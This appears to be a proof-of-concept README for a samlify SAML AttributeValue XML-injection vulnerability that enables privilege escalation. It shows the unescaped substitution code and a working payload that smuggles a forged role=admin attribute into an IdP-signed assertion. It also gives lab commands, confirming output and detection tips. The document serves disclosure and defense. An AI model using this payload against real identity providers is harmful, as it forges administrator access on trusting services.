
CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML injection -> signed-assertion privilege escalation. Self-contained PoC, verified e2e.
AttributeValue XML Injection → Privilege Escalationsamlify
< 2.13.0escapes template substitutions only in attribute contexts. A user-controlled value (e.g.name) placed into element text —<saml:AttributeValue>{Value}</saml:AttributeValue>— is inserted unescaped, so a normal user can inject extra<saml:Attribute>elements (e.g.role=admin) into their own, IdP-signed SAML assertion. Because the injection happens before signing, the Service Provider's signature check passes and it consumes the forged attributes as authoritative.
| CVE | CVE-2026-46490 |
| Advisory | GHSA-34r5-q4jw-r36m |
| Affected | samlify < 2.13.0 |
| Fixed | 2.13.0 |
| Class | CWE-91 (XML Injection) → privilege escalation |
| CVSS | 8.8 (High) |
| Auth | Authenticated low-privilege user (controls one of their own attribute values) |
| Status | CONFIRMED — full IdP→SP chain reproduced with [email protected] |
src/libsaml.ts substitutes {tag} placeholders via replaceTagsByValue →
escapeTag:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- element text: NO escaping
};
}
The regex captures an optional preceding " as quote. In attribute context
(Name="{Name}") quote is set and the value is xmlEscaped; in element text
(>{attrEmail}<) there is no preceding quote, so the value is emitted verbatim.
The default attribute template puts the value in element text:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
So an attacker-controlled attribute value containing </> injects raw XML.
The attacker sets their own profile attribute (here email) to:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
This closes the email attribute, adds a forged role=admin attribute, and
re-opens a throwaway attribute so the template's trailing
</saml:AttributeValue></saml:Attribute> stays balanced. The IdP then signs the
assertion — covering the forged attribute. A standards-compliant SP validates the
signature (valid) and reads role=admin.
cd lab && ./setup.sh # npm i [email protected] + generate IdP/SP keypairs
node poc.js
Output:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
The PoC drives samlify's own IdP (createLoginResponse, which performs the
vulnerable replaceTagsByValue substitution and signs) and SP
(parseLoginResponse, which validates the signature and extracts attributes).
The SP surfaces role: "admin" — an attribute the attacker forged, not one the IdP
intended to issue.
Any user who can influence one of their own SAML attribute values (email, display
name, …) on a samlify-based IdP can mint a validly signed assertion carrying
arbitrary additional attributes — group/role membership, entitlements, isAdmin
flags — and escalate privileges on every SP that trusts the IdP. SAML signature
validation does not help: the forgery is inside the signed scope.
Inspect issued/consumed assertions for attribute values containing XML markup
(</saml:AttributeValue>, <saml:Attribute), and for assertions carrying more
<saml:Attribute> elements than the IdP template defines.
See ANALYSIS.md for the substitution regex, the quote heuristic, and
the patch.